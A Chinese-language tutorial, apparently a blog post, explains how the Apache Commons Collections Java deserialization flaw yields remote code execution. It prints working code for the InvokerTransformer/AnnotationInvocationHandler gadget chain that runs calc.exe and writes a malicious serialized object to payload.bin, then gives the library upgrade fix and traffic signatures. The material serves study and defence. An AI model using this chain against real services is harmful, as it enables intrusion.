通过上篇我们明白了它的出现是怎么一回事,但是我们在上面实践的代码,你们有仔细想过吗?
那个反序列漏洞是如何在源码中来的?
我们再来一个实践:
public static void main(String[] args) { /*under attacker's control*/ File f =new File(args[0]); try { FileInputStream fis = new FileInputStream(f); ObjectInputStream ois=new ObjectInputStream(fis); /*where vul produce*/ ois.readObject(); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } }
首先要知道我们使用了有安全缺陷的Apache Commons Collections jar包。而且不对没有对反序列化的对象做限制。(如果一个应用接受反序列化数据,并且没有对反序列化的对象做限制,就可能导致代码执行。)
而Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,其中定义了TransformedMap结构,其定义了一个静态方法decorate(),可以完成Map结构的转换,
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); }
然后调用该方法就可以实现Map的转换
Map oldMap = new HashMap(); Map newMap = TransformedMap.decorate(oldMap,keyTransformer,valueTransformer);
接着。。。
TransformedMap实现了一个抽象类AbstractInputCheckedMapDecorator,
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable { private static final long serialVersionUID = 7023152376788900464L; protected final Transformer keyTransformer; protected final Transformer valueTransformer; }而且当TransformedMap的setValue()方法被调用时,会调用抽闲父类AbstractInputCheckedMapDecorator的setValue()方法,
public Object setValue(Object value) { value = this.parent.checkSetValue(value); return this.entry.setValue(value); }
但是接着我们又回到TransformedMap的checkSetValue方法,从而调用了transform()方法,并且,transform()方法的参数就是setValue()方法的参数,
protected Object checkSetValue(Object value) { return this.valueTransformer.transform(value); }
注意在Apache的commons-collections.jar中,默认实现了ConstantTransformer,InvokerTransformer,ChainedTransformer几个实现,但我们仅需重点关注InvokerTransformer类,查看其transform()方法:
public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var4) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6); } } }
可以看到,上面的transform(),通过java 反射调用了input的iMethodName方法。并且,iMethodName是可控的。这样,结果就是,只要transform()方法被调用,就导致了代码执行。
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) { if (methodName == null) { throw new IllegalArgumentException("The method to invoke must not be null"); } else if (paramTypes == null && args != null || paramTypes != null && args == null || paramTypes != null && args != null && paramTypes.length != args.length) { throw new IllegalArgumentException("The parameter types must match the arguments"); } else if (paramTypes != null && paramTypes.length != 0) { paramTypes = (Class[])((Class[])paramTypes.clone()); args = (Object[])((Object[])args.clone()); return new InvokerTransformer(methodName, paramTypes, args); } else { return new InvokerTransformer(methodName); } } .... public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; }
做个简单实验:
public static void main(String[]args) throws Exception{ Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map oldMap = new HashMap(); oldMap.put("test","test"); Map newMap = TransformedMap.decorate(oldMap,null,chainedTransformer); Map.Entry entry = (Map.Entry) newMap.entrySet().iterator().next(); entry.setValue("hello"); }
效果图:(你可以自己设计打开那个程序,而且如果你与上面代码一致,也不太可能实现,路径不一致)
我们了解了其原理,也实现了一些简单的例子。那么我们该如何利用?
上面我们可以看到,通过setValue()方法可以导致代码执行。但是,如何在“宿主程序”中导致代码执行,换句话说,总不能假定用户在反序列化恰好调用了setValue()。大神的路子还是野,发现了AnnotationInvocationHandler这个类,这个类冲重写了readObject()方法。
在java反序列化时,如果反序列化的对象重写了readObject()方法,则重写的方法会被调用。
AnnotationInvocationHandler类刚好重写了readerObject()方法,并且,在readObject()方法中还恰好调用了setValue()方法。
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; all bets are off return; } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } } }
更加重要的是,setValue()的对象还是可控的,通过AnnotationInvocationHandler的构造器就能传入。
class AnnotationInvocationHandler implements InvocationHandler, Serializable { private final Class<? extends Annotation> type; private final Map<String, Object> memberValues; AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { this.type = type; this.memberValues = memberValues; } }这样,一套完整的触发链就构造完成了,我们只需要构造一AnnotationInvocationHandler实例,然后将其序列化,就得到了恶意对象。然后,有漏洞的程序没有处理好反序列化过程,通过上面精心构造的反序列化对象,就导致了RCE。
public static void main(String[]args)throws Exception{ Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value", "value"); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Retention.class, outerMap); File f = new File("payload.bin"); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(instance); out.flush(); out.close(); }
好吧,到这里了。我们了解了原理,那么我们该如何修复呢?
最简单的就是升级commons-collections.jar包至Commons-Collections3.2.2以上。
至于挖掘这种漏洞的话,你可以从测试来:
黑盒:从流量中发现序列化的痕迹,关键字:ac ed 00 05,rO0AB;白盒:寻找readObject()字段。
参考资料:
Java 反序列化漏洞原理
